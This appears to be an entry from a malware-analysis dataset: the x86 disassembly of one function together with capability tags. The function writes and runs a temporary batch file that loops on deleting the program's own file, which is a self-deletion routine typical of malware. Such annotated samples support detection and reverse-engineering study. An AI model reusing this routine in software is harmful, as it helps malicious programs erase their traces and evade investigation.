Function at 0x10001d90
Capabilities:
Create process on windows
Get common file path
Resume thread
Self delete
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x488
lea eax, [esp + 0x384]
push ebx
push esi
push edi
push ebp
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x394]
push str..bat
lea eax, [esp + 0x294]
push str.eprmbat
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x290]
push 0
push 0x8000080
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov esi, eax
je 0x100020a3
mov bp, word [0x1000a14c]
mov eax, dword [str.echo_off_r_n]
lea edx, [esp + 0x88]
push 0
mov ebx, dword [0x1000a148]
mov ecx, str.echo_off_r_n
mov dword [edx], eax
mov al, byte [ecx + 0xa]
lea ecx, [esp + 0x14]
lea edi, [esp + 0x8c]
push ecx
mov dword [edx + 4], ebx
mov word [edx + 8], bp
mov ecx, 0xffffffff
mov byte [edx + 0xa], al
sub eax, eax
repne scasb al, byte es:[edi]
lea edx, [esp + 0x90]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
not ecx
dec ecx
mov ebp, 1
push ecx
push edx
push esi
call edi
lea eax, [esp + 0x18c]
mov ecx, dword [esp + 0x49c]
push eax
push ebp
push ecx
call fcn.10004ab0
add esp, 0xc
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
test eax, eax
je 0x10001f53
lea eax, [esp + 0x24]
push ebp
push str.:repeat_u_r_n
inc ebp
push eax
call ebx
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x30]
add esp, 0xc
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0x2c]
push eax
push ecx
push esi
call edi
lea ecx, [esp + 0x18c]
lea edx, [esp + 0x88]
push ecx
push str.del___s__r_n
push edx
call ebx
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x94]
add esp, 0xc
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0x90]
push eax
push ecx
push esi
call edi
lea ecx, [esp + 0x25]
lea edx, [esp + 0x18c]
lea eax, [esp + 0x88]
push ecx
push edx
push str.if_exist___s__goto__s_r_n
push eax
call ebx
lea ecx, [esp + 0x20]
lea edx, [esp + 0x98]
add esp, 0x10
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0x90]
push eax
push ecx
push esi
call edi
lea ecx, [esp + 0x18c]
mov eax, dword [esp + 0x49c]
push ecx
push ebp
push eax
call fcn.10004ab0
add esp, 0xc
test eax, eax
jne 0x10001e8b
lea eax, [esp + 0x394]
push str..pif
lea ecx, [esp + 0x190]
push str.eprmbat
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x18c]
lea edx, [esp + 0x88]
push ecx
push str.del___s__r_n
push edx
call ebx
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x94]
add esp, 0xc
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0x90]
push eax
push ecx
push esi
call edi
lea ecx, [esp + 0x290]
lea edx, [esp + 0x88]
push ecx
push str.del___s__r_n
push edx
call ebx
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x94]
add esp, 0xc
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0x90]
push eax
push ecx
push esi
call edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea edi, [esp + 0x44]
xor eax, eax
mov ecx, 0x11
rep stosd dword es:[edi], eax
mov word [esp + 0x74], ax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0x44
mov dword [esp + 0x70], 1
push ecx
lea eax, [esp + 0x48]
push eax
push 0
lea edx, [esp + 0x29c]
push 0
push 0x44
push 0
push 0
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x100020a3
mov eax, dword [esp + 0x18]
push 0xfffffffffffffff1
push eax
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
call edi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov eax, dword [esp + 0x14]
push eax
call esi
mov eax, dword [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_ResumeThread]
push eax
call ebp
mov ecx, dword [esp + 0x18]
push ecx
call esi
mov eax, 1
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x488
ret
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x488
ret